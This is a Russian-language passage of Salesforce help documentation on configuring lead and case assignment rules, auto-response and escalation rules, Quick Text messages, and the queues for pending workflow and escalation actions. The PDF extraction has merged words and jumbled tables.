Чтобы выбрать предопределенную рабочую группу для добавления в правило назначения,
щелкните значок поиска ( ). Чтобы добавить новую строку, которая используется для

работающие с
обращениями

добавления предопределенной группы, работающей с обращениями, щелкните «Добавить
строку».

Данное поле определяет необходимость замены любой текущей предопределенной группы,
работающей с обращениями, другой предопределенной рабочей группой при выполнении
критериев, заданных для обращения.

Заменить все
существующие
предопределенные
группы,
работающие с
обращениями,
для обращения

Чтобысохранить созданнуюзапись, нажмите кнопку «Сохранить». Чтобысохранить текущуюзаписьидобавитьновую,
нажмите кнопку «Сохранить и создать».
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Совет: Чтобысоздатьбезотказноеправило, рекомендуемвсегда создаватьпоследнююзаписьправилабез критериев.
Данная запись обрабатывает все интересы или обращения, которые не были обработаны предыдущими записями
правила.

СМ. ТАКЖЕ:

Просмотр и редактирование правил назначения

Управление правилами назначения

Просмотр и редактирование правил назначения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила назначения
интересов доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила назначения
обращений доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения правил
назначения:
• «Настройка

приложения»

Для просмотра правил
назначения:
• «Просмотр настройки и

конфигурации»

Чтобы просмотреть или изменить правила назначения, выполните указанные ниже
действия.

• Чтобы изменить имя правила, щелкните ссылку «Переименовать».

• Чтобы изменить записи правила, выберите имя нужного правила в списке. Чтобы
добавить новую запись, нажмите кнопку «Создать». Чтобы изменить или удалить
запись, щелкните ссылку «Правка»и «Удал.». Чтобыизменитьпорядокприменения
записей, нажмите кнопку «Изменить порядок».

СМ. ТАКЖЕ:

Настройка правил назначения

Управление правилами назначения
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Управление правилами назначения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила назначения
интересов доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила назначения
обращений доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
правил назначения:
• «Настройка

приложения»

Чтобы автоматизировать создание интересов и процессы поддержки, используемые в
организации, рекомендуем создать правила назначения.

• Правила назначения интересов: определяют способ назначения интересов
пользователямилиочередямприсозданиивручную, сборена веб-сайтеилиимпорте
с помощью мастера импорта данных.

• Правила назначения обращений: определяют способ назначения обращений
пользователям или очередям при создании вручную, посредством функций
Web-to-Case, Email-to-Case или On-Demand Email-to-Case, портала самообслуживания,
клиентского портала, приложения Outlook или Lotus Notes.

Обычно организация использует одно правило для общих целей (например, одно
правило назначения интересов для импорта, а второе — для веб-интересов; или одно
правило назначения обращений для рабочих дней, а второе — для праздничных дней).
Каждый тип правила может использовать только одно активное правило.

Каждое правило содержит несколько записей, которые определяют способ назначения
интересов или обращений. Например, стандартное правило назначения обращений
может содержатьдве записи: обращенияс записью «"Тип" равно "Золотой"» назначаются
очереди «Золотое обслуживание», а обращения с записью «"Тип" равно "Серебряный"»
назначаются очереди «Серебряное обслуживание».

Чтобы создать правило назначения, в настройке введите строку «Правила назначения» в
поле «Быстрый поиск», затемвыберитепункт «Правиланазначенияинтересов»или
«Правила назначения обращений».

Пример правила назначения
Ниже приведено правило назначения обращений, которое назначает обращение
определенной очереди на основе рейтинга организации.

Имя правила: «Назначение организации с рейтингом Hot»

Записи правила:

НазначитьКритерииПорядок

Очередь поддержки 1 уровняISPICKVAL(Account.Rating, "Hot")1

Очередь поддержки 2 уровняOR( ISPICKVAL(Account.Rating, "Warm") ,
ISPICKVAL(Account.Rating, "Cold") )

2

СМ. ТАКЖЕ:

Настройка правил назначения

Просмотр и редактирование правил назначения
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Настройка правил автоматического ответа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
автоматического ответа:
• «Настройка

приложения»

Автоматический ответ позволяет отправлять электронные сообщения при получении
интересовилиобращенийвзависимостиот атрибутов записи. Правилаавтоматического
ответа позволяют отправлять клиентам быстрые ответы, подтверждающие получение
их запросов или сведений о неполадках.

Системапозволяет создаватьправила автоматическогоответадляинтересов, созданных
посредством формы Web-to-Lead, и обращений, отправленных с использованием
следующих способов:

• Портал самообслуживания

• Клиентский портал

• Форма Web-to-Case

• Сообщение Email-to-Case

• Сообщение On-Demand Email-to-Case

Можно создать правила ответов в любом количестве в зависимости от атрибутов
входящих интересов или обращений. Следует учитывать, что одновременно можно
активироватьтолькоодноправилодляинтересовиодно — дляобращений. Электронные
ответы отображаются в связанном списке интересов или контактов «Журнал действий»
и связанном списке обращений «Эл. почта».

Создание правил автоматического ответа
Чтобы создать правило ответа Web-to-Lead, введите строку «Правила автоматического ответа» в поле «Быстрый поиск»
и выберите пункт «Правила автоматического ответа для интересов». Чтобы создать правило ответа для обращений,
введитестроку «Правила автоматического ответа» вполе «Быстрый поиск» ивыберитепункт«Правилаавтоматического
ответа для обращений». Ниже перечислены действия, доступные на странице «Правила автоматического ответа».

1. Нажмите кнопку «Создать».

2. Введите имя правила.

3. Чтобы активировать только данное правило, установите флажок «Активно».

4. Нажмите кнопку «Сохранить».

5. Создайте записи правила.

Создание записей правила ответа
1. Нажмите кнопку «Создать» на странице сведений о правиле.

2. Чтобы определить порядок обработки данной записи, введите нужное число.

Правило обрабатывает записи в заданном порядке, останавливает обработку при обнаружении первого совпадения
иотправляет сообщение эл. почтынаоснове выбранногошаблона. Еслиправилаответанеприменяются, топравило
использует стандартныйшаблон, выбранный на странице параметров функции Web-to-Case или Web-to-Lead.

Прим.: Чтобы создать безотказное правило, рекомендуем всегда создавать последнюю запись правила без
критериев. Данная запись будет обрабатывать все интересы или обращения, которые не были обработаны
предыдущими записями правила. Данный алгоритм особенно важен для функций Email-to-Case и On-Demand
Email-to-Case, которые не используют стандартные шаблоны.

2940

Настройка правил автоматического ответаНастройка и обслуживание инструментов службы поддержки



3. Введите критерии правила.

• Выберите параметр «критерии выполняются», а затем укажите критерий фильтрации, которому должна
соответствовать запись для выполнения правила.Например, настройтефильтр обращений «"Приоритет" равно
"Высокий"», чтобызаписиобращений, содержащие значение «Высокий» вполе «Приоритет», запускалиправило.

Если в организации включена многоязычная поддержка, введите значения фильтра на языке, используемом в
организациипо умолчанию. Разрешается добавить не более 25 критериевфильтрации (каждыйдлиноюне более
255 символов).

При использовании раскрывающихся списков для определения критериев фильтрации выбранные значения
хранятся на стандартном языке организации. При редактировании или клонировании текущих критериев
фильтрации рекомендуем сначала задать полю «Стандартный язык» на странице «Сведения о компании» язык,
использовавшийсядляопределенияисходныхкритериевфильтрации. Впротивномслучаекритериифильтрации
могут не быть оценены как ожидалось.

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Если формула возвращает значение «Истина», то система Salesforce инициирует
выполнениеправила.Например, формула AND(ISPICKVAL(Приоритет,"Высокий"),Версия<4.0) запускает
правило, которое отправляет автоматический ответ на основе выбранного шаблона, если поле обращения
«Приоритет» содержитзначение «Высокий», а значениенастраиваемогополяобращения «Версия» непревышает
четырех.

4. Введите имя, которое должно добавляться в строку «От» автоматического ответа.

5. Введите адрес эл. почты, который должен добавляться в строку «От» автоматического ответа. Данный адрес эл. почты
должен соответствовать проверенному единому адресу эл. почты или адресу эл. почты из профиля пользователя
Salesforce и должен отличаться от адресов маршрутизации Email-to-Case.

6. При необходимости введите адрес для ответа.

7. Выберите шаблон эл. почты.

8. При создании записи правила ответа для Email-to-Case включите параметр «Отправить ответ всем получателям»
для рассылки автоматических ответов всем пользователям, указанным в полях «Кому» и «Копия» в исходном
сообщении.

9. Не забывайте сохранять внесенные изменения!

СМ. ТАКЖЕ:

Различия между правилами автоматического ответа и предупреждениями бизнес-правила
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Различия между правилами автоматического ответа и предупреждениями
бизнес-правила

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Правила автоматического
ответа доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Правила автоматического ответа и электронные предупреждения бизнес-правила
поддерживают похожиефункции. Таблица ниже содержит некоторые различия между
предупреждениямибизнес-правилаиправиламиавтоматическогоответа, позволяющие
пользователям выбирать соответствующие процессы.

Количество отправленных
сообщений эл. почты

Получатель
сообщения
эл. почты

Условие
выполнения

ПредназначениеТип
процесса

Одно отправленное
сообщение эл. почты на
электронное
предупреждение. Каждое
бизнес-правило может
использовать не более:

Любой
выбранный
пользователь.

Создание
или
редактирование
обращения
или
интереса.

Уведомления
заинтересованным
лицам.

Электронные
предупреждения
бизнес-правила

• 10 электронных
предупреждений в
качестве немедленных
действий

• 10 электронных
предупреждений на
триггер времени в
качестве зависимых от
времени действий

• 10 триггеров времени

Одно отправленное
сообщение эл. почты на

Контакт
обращения

Создание
обращения

Исходный ответ
контакту,

Правила
автоматического
ответа основе первого критерия

записи правила,
или
пользователь,

или
интереса.

создавшему
обращение, или
пользователю, соответствующего вотправивший

веб-интерес.отправившему
веб-интерес.

последовательностизаписей
правил.

СМ. ТАКЖЕ:

Настройка правил автоматического ответа
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Настройка правил расширения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
расширения:
• «Настройка

приложения»

Каждое правило устанавливает условие, определяющее способ обработки обращений.

Чтобы создать правило расширения, выполните указанные ниже действия.

1. Введите строку «Правила расширения» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Правила расширения».

2. Нажмите кнопку «Создать» и введите имя правила. Чтобы активировать данное
правилорасширения, установитефлажок «Активно». Нажмитекнопку«Сохранить».

3. Чтобы создать записи правила, нажмите кнопку «Создать». Ниже перечислены
доступные поля.

ОписаниеПоле

Данное поле определяет порядок
обработки записи в правиле (например,
«1», «2», «3»).

Система Salesforce оценивает каждую
запись и проверяет на соответствие
заданнымкритериям. Приобнаружении
соответствия система Salesforce
обрабатывает элемент и прекращает
оценку записей правила для этого

Порядок

элемента. В противном случае
обращение не расширяется.

Данное поле определяет условия,
которым должно соответствовать
обращение для его расширения.

При необходимости введите критерии
правила.

Критерии

• Выберите параметр «критерии
выполняются», а затем укажите
критерий фильтрации, которому
должна соответствовать запись для
выполнения правила.Например,
настройте фильтр обращений
«"Приоритет" равно "Высокий"»,
чтобы записи обращений,
содержащие значение «Высокий» в
поле «Приоритет», запускали
правило.

Если в организации включена
многоязычная поддержка, введите
значения фильтра на языке,
используемом в организации по
умолчанию. Разрешается добавить
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ОписаниеПоле

не более 25 критериев фильтрации (каждый длиною
не более 255 символов).

При использовании раскрывающихся списков для
определения критериев фильтрации выбранные
значенияхранятсянастандартномязыкеорганизации.
При редактировании или клонировании текущих
критериев фильтрации рекомендуем сначала задать
полю «Стандартный язык» на странице «Сведения
окомпании» язык, использовавшийсядляопределения
исходныхкритериевфильтрации. Впротивномслучае
критерии фильтрации могут не быть оценены как
ожидалось.

• Выберитепараметр «значение формулы оценивается
как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Если формула
возвращает значение «Истина», то система Salesforce
инициируетвыполнениеправила.Например, формула
AND(ISCHANGED( Приоритет ), ISPICKVAL

(Приоритет, "Высокий") ) применяет правило,
изменяющее ответственного за обращение, когда
значение поля «Приоритет» меняется на «Высокий».

Обратите внимание, что удаление настраиваемого поля,
используемого условием, инициирует автоматическое
удаление записи правила.

Выберите способ применения часов работы к
расширенному обращению.

Указать критерии часов работы

• «Пропустить часы работы»: установите данный
флажок, чтобы пропустить часы работы при
расширении обращения.

• «Использовать часы работы, указанные для
обращения»: установите данныйфлажок, чтобы
использовать текущиечасыработыприрасширении
обращения.

• «Задать часы работы»: установите данныйфлажок
и щелкните значок поиска ( ), чтобы выбрать
предопределенные часы работы, которые должны
использоваться при расширении обращения.

Действия расширения выполняются только в течение
связанных часов работы.

Данное поле определяет поле, которое должно
применяться к значению параметра «Длительность».

Определить способ выбора времени расширения
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ОписаниеПоле

Параметр «Длительность» можетопределятьколичество
часов, прошедших со времени:

• Создание обращения

• Создание обращения (ели не изменено); измененное
обращение не подлежит расширению

• Последнее изменение обращения

Например, при выборе критерия «На основе времени
последнего изменения обращения» и значения «5» в
параметре «Длительность» открытые обращения
расширяются через 5 часов после времени последнего
изменения.

4. Чтобы сохранить созданную запись, нажмите кнопку «Сохранить». Чтобы сохранить текущую запись и добавить
новую, нажмите кнопку «Сохранить и создать».

5. По завершении нажмите кнопку «Сохранить». При этом отображается правило расширения и список записей
правила.

Прим.: Чтобы создать безотказное правило, рекомендуем всегда создавать последнюю запись правила без
критериев. Данная запись будет обрабатывать все обращения, которые не были обработаны предыдущими
записями правила.

6. Выберите действие, которое должно выполняться при истинности любой записи правила расширения. Щелкните
ссылку «Правка» напротив имени нужной записи.

7. Чтобы добавить действие расширения, нажмите кнопку «Создать». Каждой записи правила может быть задано не
более пяти действий, позволяющих расширять обращения через увеличивающиеся периоды времени. Ниже
перечислены доступные поля.

ОписаниеПоле

Данноеполеопределяет количествочасов, поистечении
которых открытое обращение должно быть расширено.

Длительность

Данноевремяопределяется значениемполя «Определить
способ выбора времени расширения». Данное поле не
позволяет использовать одинаковое значение для двух
действий расширения.

Данное поле определяет пользователя,
пользователя-партнера или очередь, которой должно

Назначить

быть назначено обращение при выполнении заданных
условий. Выбранныйпользовательдолженбытьактивным
и иметь полномочие «Чтение» для обращений.

Прим.: Пользователи, назначенные правилу, не
могут быть лишены полномочия «Чтение» для
интересов или обращений.
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ОписаниеПоле

Обратите внимание, что переназначение расширенного
обращения является необязательным.

Данное поле определяет шаблон, который должен
использоватьсядля сообщения эл. почты, отправляемого

Шаблон уведомления

автоматическиновомуответственному, указанномувполе
«Назначить». В противном случае сообщение эл. почты
не отправляется.

Данноеполеопределяетпользователя, которомудолжно
бытьотправленоуведомлениеорасширенииобращения.

Уведомить данного пользователя

Уведомление другого пользователя является
необязательным.

Данное поле определяет необходимость уведомления
ответственного при расширении обращения.

Уведомить ответственного за обращение

Данное поле определяет шаблон, который должен
использоваться для электронного уведомления,

Шаблон уведомления

отправляемогоавтоматическипользователю, указанному
в поле «Уведомить». Если поле «Уведомить» содержит
пользователя, то выборшаблона является обязательным.

Данноеполеопределяетдополнительныхпользователей,
которым должно быть отправлено уведомление о
расширении.

Дополнительные адреса эл. почты

Прим.: Обращение повторно оценивается правилами расширения при каждом его сохранении или изменении
ответственного за обращение. Если обращение соответствует записи правила расширения, то система определяет
время егорасширенияиотменяет дальнейшее сопоставление с другими записямиправила. Например, организация
создает две записи правила расширения:

• Расширять через три часа после создания, если поле «Причина обращения» содержит значение «Сбой»

• Расширять через четыре часа после создания, если поле «Причина обращения» содержит значение «Ошибка»

Обращение, поле «Причина обращения» которого содержит значение «Ошибка», должно быть расширено через
четыре часа после создания. Затем пользователь изменяет обращение, что инициирует его повторную оценку
правилами расширения. Время расширения обращения, поле «Причина обращения» которого теперь содержит
значение «Сбой», изменяется и составляет три часа после создания. Обращение, созданное более трех часов назад,
расширяется вне очереди.

Правиларасширениянеоцениваютсяприпакетномпереносеобращенийизсписковогопредставленияобращений.
Обратитевнимание, чтоиспользованиеправилназначениядляизмененияответственногозаобращениеинициирует
оценку правил расширения до выполнения правил назначения.

Совет: Ниже указан порядок обработки правил в системе Salesforce.

1. Правила проверки

2. Правила назначения
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3. Правила автоматического ответа

4. Бизнес-правила (с немедленными действиями)

5. Правила расширения

СМ. ТАКЖЕ:

Создание правил расширения

Просмотр и редактирование правил расширения

Отслеживание очереди правил расширения обращений

Создание правил расширения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
правил расширения:
• «Настройка

приложения»

Создайте правила расширения, позволяющие автоматически расширять обращения,
которые не были решены по истечении заданного периода времени.

Как правило, организация использует одно правило расширения, состоящее из
нескольких записей, которые определяют точный способ расширения обращений.
Например, стандартное правило расширения обращений может содержать две записи:
обращения, поле «Тип» которыхсодержитзначение «Золотой», расширяютсяв течение
2 часов, а обращения, поле «Тип» которых содержит значение «Серебряный»,
расширяются в течение 8 часов.

СМ. ТАКЖЕ:

Настройка правил расширения

Просмотр и редактирование правил расширения
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Просмотр и редактирование правил расширения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения правил
расширения:
• «Настройка

приложения»

Чтобы просмотреть или изменить правила расширения, выполните указанные ниже
действия.

• Чтобы изменить имя правила, щелкните ссылку «Переименовать».

• Чтобы изменить записи правила, выберите имя нужного правила в списке. Чтобы
добавить новую запись, нажмите кнопку «Создать». Чтобы изменить или удалить
запись, щелкните ссылку «Правка»и «Удал.». Чтобыизменитьпорядокприменения
записей, нажмите кнопку «Изменить порядок».

СМ. ТАКЖЕ:

Настройка правил расширения

Создание правил расширения

Настройка быстрого текста

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки быстрого
текста:
• «Настройка

приложения»

Быстрый текст позволяет пользователям создавать сообщения (например, приветствия,
ответы на типичные вопросы и короткие примечания), которые могут использоваться
агентами службы поддержки при обновлении обращений и общении с клиентами в
целях экономии времени и повышения стандартизации.Под настройкой быстрого
текстапонимаетсявключениеегоподдержки, назначениесоответствующихполномочий
пользователям и создание стандартизированных сообщений.

1. Включите быстрый текст.

Быстрый текст автоматически доступен организациям, использующим Live Agent.

2. При необходимости настройте параметры быстрого текста.

3. Предоставьтепользователямполномочиянасозданиесообщений «Быстрыйтекст».

4. Создайте сообщения «Быстрый текст».

5. Если организация использует приложение Live Agent, предоставьте агентам доступ
к боковой панели «Быстрый текст» на консоли Live Agent.
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Включение быстрого текста

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения быстрого
текста:
• «Настройка

приложения»

Функция «Быстрыйтекст», включеннаядляорганизации, позволяетагентамиспользовать
предопределенные сообщения для ответа клиентам и быстро обновлять текущие
обращения.

Прим.: Включение быстрого текста является необратимым.

1. Введите строку «Параметры быстрого текста» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры быстрого текста».

2. Установите флажок «Включить быстрый текст».

3. Нажмите кнопку «Сохранить».

После включения функции «Быстрый текст» обновите полномочия пользователей,
чтобы предоставить агентам службы поддержки доступ к быстрому тексту.

СМ. ТАКЖЕ:

Настройка быстрого текста

Создание сообщений «Быстрый текст»

Предоставление агентам службы поддержки доступа к быстрому тексту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки быстрого
текста:
• «Настройка

приложения»

Благодаря предоставлению доступа к быстрому тексту, агенты могут выбирать
стандартные сообщения для добавления в чаты, сообщения эл. почты, обновления или
примечания к обращениям.

Чтобы предоставить агентам доступ к быстрому тексту на консоли Live Agent, в
приложении Live Agent на консоли Salesforce или в действиях ленты обращений «Эл.
почта», «Портал», «Записать вызов вжурнал» и «Изменить статус», выполните указанные
ниже действия.

• Назначьте им полномочие «Чтение» для объекта «Быстрый текст»

• Выполните одно из указанных ниже действий.

ДействияПараметр

Назначениеагентамответственностикак
минимум за одно сообщение «Быстрый
текст»

– Назначьте агентов ответственными
за текущие сообщения «Быстрый
текст» (щелкните ссылку
«Изменить» напротив поля записи
«Ответственный») или

– Разрешите им создание сообщений

Изменение единых стандартных
параметров общего доступа к объекту
«Быстрый текст»

1. В разделе «Настройка» введите
«Параметры общего доступа» в поле
«Быстрый поиск», затем выберите
«Параметры общего доступа».
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ДействияПараметр

2. Нажмите кнопку «Правка» в разделе «Единые
стандартные параметры».

3. Враскрывающемсясписке «Доступ по умолчанию»
выберите значение «Общедоступный: только для
чтения» или «Общедоступный: для чтения и записи»
для объекта «Быстрый текст».

4. Нажмите кнопку «Сохранить».

Чтобысохранитьединыестандартныепараметрыобщего
доступабезизменений, создайтеправилаобщегодоступа,

Использование правил общего доступа

позволяющие определить группы пользователей,
которым сообщения «Быстрый текст» должны быть
доступны как минимум только для чтения.

Пользовательтакжеможет создавать стандартизированныесообщениядля агентовслужбыподдержки, имеющихдоступ
к быстрому тексту.

СМ. ТАКЖЕ:

Настройка быстрого текста

Создание сообщений «Быстрый текст»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания сообщений
«Быстрый текст»:
• «Создание», «Чтение»,

«Редактирование» и
«Удаление» для объекта
«Быстрый текст»

Сообщения «Быстрый текст» позволяют агентам быстро добавлять стандартные
примечания в обновления обращений и отправлять клиентам типовые ответы.
Рекомендуем создать настраиваемые сообщения, которые должны использоваться
агентами при отправке сообщений эл. почты или общении с клиентами посредством
чата.

1. Откройте вкладку «Быстрый текст».

2. Нажмите кнопку «Создать».

3. При наличии нескольких типов записей «Быстрый текст» выберите нужный тип
записи для нового сообщения и нажмите кнопку «Продолжить».

4. Введите имя сообщения.

5. Введите сообщение.

Текст сообщения может содержать разрывы строк, списки и специальные символы,
а его длина не должна превышать 4 096 символов.

6. Чтобыоткрытьпанельвыбораполейслияния, щелкните«Доступныеполяслияния».

7. Выберите каналы для отображения данного сообщения.

Доступные каналы определяются функциями, включенными в организации.

• «Эл. почта»: действие «Эл. почта» ленты обращений

• «Live Agent»: приложение Live Agent на консоли Salesforce
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• «Портал»: сообщество или клиентский портал

• «Телефон»: действие «Записать вызов в журнал» ленты обращений

• «Внутренний»: действие «Изменить статус» ленты обращений

8. Выберите категорию.

9. При необходимости выберите подкатегорию.

10. Нажмите кнопку «Сохранить».

Совет: Чтобы просмотреть образец быстрого текста, заполненный данными из выбранных записей, щелкните
«Протестировать и проверить поля слияния».

СМ. ТАКЖЕ:

Настройка быстрого текста

Отслеживание процессов поддержки

Отслеживание автоматических действий процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
автоматическими
действиями процессов:
• «Изменение всех

данных»

Пользователи Salesforce Knowledgeмогут планировать публикациюили архивирование
статейна конкретнуюдату. Чтобыпросмотретьипринеобходимостиотменить данные
отложенные действия, воспользуйтесь очередью автоматических действий процессов.

Чтобы просмотреть отложенные действия, выполните указанные ниже действия.

1. Введите строку «Автоматические действия процессов» вполе «Быстрый поиск» вменю
«Настройка» и выберите пункт «Автоматические действия процессов».

2. Чтобы просмотреть список всех отложенных действий для любой статьи, нажмите
кнопку«Поиск». Чтобыпросмотретьсписокотложенныхдействий, соответствующих
толькоопределенномукритерию, укажитекритерийфильтрацииинажмитекнопку
«Поиск». Ниже перечислены доступные параметрыфильтрации.

Определение процесса
Процесс, инициирующий выполнение действия. Данное поле всегда содержит
значение «KBWorkflow».

Объект
Объект, инициировавший выполнение отложенного действия. Данное поле
всегда содержит значение «Статья базы знаний».

Запланированная дата
Дата, на которую запланировано выполнение отложенных действий.

Дата создания
Дата создания статьи, инициировавшей выполнение отложенного действия.

Создано
Автор статьи, инициировавшей выполнение отложенного действия.

Имя записи
Имя статьи, инициировавшей выполнение отложенного действия.

Фильтр не чувствителен к регистру.
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Чтобы отменить отложенные действия, выполните указанные ниже действия.

1. Установите флажки напротив нужных отложенных действий.

2. Нажмите кнопку «Удалить». Система Salesforce отменяет отложенное действие.

Отслеживание очереди правил расширения обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления очередью
правил расширения
обращений:
• «Изменение всех

данных»

Чтобыпросмотретьипринеобходимостиотменитьотложенныедействия, еслисистема
Salesforce инициирует правило расширения обращений, использующее зависимые от
времени действия, воспользуйтесь очередью правил расширения.

Чтобы просмотреть отложенные действия, выполните указанные ниже действия.

1. Введитестроку «Расширения обращений» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите пункт «Расширения обращений».

2. Чтобыпросмотретьсписоквсехотложенныхдействийдлялюбогоактивногоправила
расширения обращений, нажмите кнопку «Поиск». Чтобы просмотреть список
отложенныхдействий, соответствующихтолькоопределенномукритерию, укажите
критерий фильтрации и нажмите кнопку «Поиск». Ниже перечислены доступные
параметрыфильтрации.

Обращение для расширения
Поле расширенного обращения «Номер обращения». Поле «Номер
обращения» содержит уникальный автоматически создаваемый номер для
идентификации обращения.

Правило расширения
Имя правила, используемого для расширения обращения.

Запись правила
Порядок обработки записи в правиле. Запись правила — это условие,
определяющее способ обработки правила расширения обращения. Каждое
правило расширения может содержать не более 3 000 записей.

Действие расширения
Временной критерий, указываемый для расширяемого обращения согласно записи правила.

Пропустить часы работы
Данный параметр определяет наличие флажка «Пропустить часы работы» для записи правила, позволяющего
пропускать часы работы организации и всегда гарантировать действительность записи правила.

Расширить в
Дата и время расширения обращения согласно записи правила. Даты и время отображаются в часовом поясе
пользователя, просматривающего очередь правил расширения.

Дата добавления
Дата и время добавления обращения в очередь. Даты и время отображаются в часовом поясе пользователя,
просматривающего очередь правил расширения.

Фильтр не чувствителен к регистру.

Чтобы отменить отложенные действия, выполните указанные ниже действия.

1. Установите флажки напротив нужных отложенных действий.
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2. Нажмите кнопку «Удалить». Система Salesforce отменяет отложенное действие.

СМ. ТАКЖЕ:

Создание правил расширения

Просмотр и редактирование правил расширения

Отслеживание очереди процессов права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления очередью
процессов права:
• «Изменение всех

данных»

Чтобыпросмотретьипринеобходимостиотменитьотложенныедействия, еслисистема
Salesforce инициирует процесс права, использующий зависимые от времени действия
контрольных точек, воспользуйтесь очередью процессов права.

Чтобы просмотреть отложенные действия, выполните указанные ниже действия.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Процессы права».

2. Чтобы просмотреть список всех отложенных действий для любых активных
бизнес-правил, нажмите кнопку «Поиск». Чтобы просмотреть список отложенных
действий, соответствующих только определенному критерию, укажите критерий
фильтрацииинажмите кнопку «Поиск». Нижеперечисленыдоступныепараметры
фильтрации.

Имя процесса права
Процесс права.

Номер обращения
Автоматически создаваемый идентификационный номер обращения.

Имя контрольной точки
Контрольная точка, инициировавшая выполнение действия.

Дата оценки
Дата, на которую запланировано выполнение оценочных действий.

Дата создания
Дата создания обращения, инициировавшего выполнение процесса права.

Имя пользователя
Пользователь, обновивший обращение для инициирования процесса права.

Фильтр не чувствителен к регистру.

Чтобы отменить отложенные действия, выполните указанные ниже действия.

1. Установите флажки напротив нужных отложенных действий.

2. Нажмите кнопку «Удалить».
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Добавление прав, соглашений об обслуживании и рабочих заказов

Что такое управление правами?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Управление правами обеспечивает предоставление надлежащей поддержки клиентам.
Функции управления правами позволяют определять, осуществлять и отслеживать
уровни обслуживания в качестве части процесса управления обращениями.

Ниже перечисленыфункции управления правами.

• Функция «Права»,позволяющаяагентамслужбыподдержкипроверитьналичиеправа
на поддержку у клиента.

• Функция «Процессыправа»,позволяющаяопределятьвременнуюшкалу, включающую
все этапы, которые должны быть выполнены службой поддержки для принятия
решения по обращению.

• Функция «Сервисныеконтракты»,позволяющаяпредставлятьразныетипысоглашений
о поддержке клиентов (например, гарантии, подписки или соглашения об
обслуживании). Сервисные контракты могут распространяться только на определенные продукты.

• Функция «Доступ сообщества к правам», позволяющая пользователям сообщества просматривать права и сервисные
контракты, а также создавать обращения на их основе.

• Функция «Отчетность по управлению правами», позволяющая отслеживать использование прав в организации, а также
соблюдение условий сервисных контрактов.

Благодаря многоуровневой настройке процесса управления правами пользователь имеет полный контроль над
используемымифункциями, а также их настройкой в соответствии с моделью поддержки клиентов. В данном разделе
рассматриваются важные решения по планированию, а также этапы настройки, позволяющие выполнять управление
правами.

